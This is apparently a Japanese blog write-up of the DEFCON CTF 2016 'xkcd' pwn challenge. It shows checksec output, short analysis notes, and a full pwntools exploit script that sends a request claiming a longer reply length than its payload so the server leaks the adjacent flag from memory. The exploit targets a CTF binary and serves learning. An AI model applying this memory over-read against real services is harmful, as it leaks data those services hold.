newbieからバイナリアンへ

newbieからバイナリアンへ

昨日は海を見に行きました

【pwn 4.1】 xkcd - DEFCON CTF 2016

 

 

 

0: 参考

bataさんの良問リスト

 

問題ファイル

github.com

 

 

 

1: イントロ

良問リスト2つ目

DEFCON2016の baby 問題 "xkcd"

流石に他の人のwriteup見ずに書きました

 

 

2: 静的解析

 静的リンク。ご丁寧にデバッグ情報付き

./xkcd: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, with debug_info, not stripped

 

セキュリティ機構なし

    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

 

 

3: exploit

 以下がexploit code

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./xkcd"

rhp = {'host':"localhost",'port':12300}
context(os='linux',arch='i386')
binf = ELF(FILENAME)

def exploit(conn):
  #just guess-work
  flag_size = 0x17

  #generate a request
  inp = "SERVER, ARE YOU STILL THERE?"
  inp += " "
  inp += "IF SO, REPLY"
  inp += " "
  inp += "\"" + "A"*0x200 + "\""
  inp += " "
  inp += "(" + str(0x200 + flag_size) + " LETTERS)"
  inp += " "

  #send a request and get flag
  conn.sendline(inp)
  conn.sendline("")

if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
      b *main
      c
    """
    conn = gdb.debug(FILENAME,cmd)
else:
    conn = remote(rhp['host'],rhp['port'])
exploit(conn)
conn.interactive()

 

 

ただひたすらにghidraが吐いたコードを読んだだけ

strtokで区切られた文字列を次々にstrcmpしていくから

それに合うようなrequestを作ればいい

 

tokenが隣り合ったときの動きが少しめんどくさかったが

間にスペースを入れることで解決

 

フラグのサイズを予測しないといけないが

まあそこはguessworkでいいでしょ

 

 

4: 結果

f:id:smallkirby:20190823180358p:plain


 





5: アウトロ

これぞbaby








続く・・・








You can cite code or comments in my blog as you like basically.
There are some exceptions.
1. When the code belongs to some other license. In that case, follow it.
2. You can't use them for evil purpose.
I don't take any responsibility for using my code or comment.
If you find my blog useful, I'll appreciate if you leave comments.

This website uses Google Analytics.It uses cookies to help the website analyze how you use the site. You can manage the functionality by disabling cookies.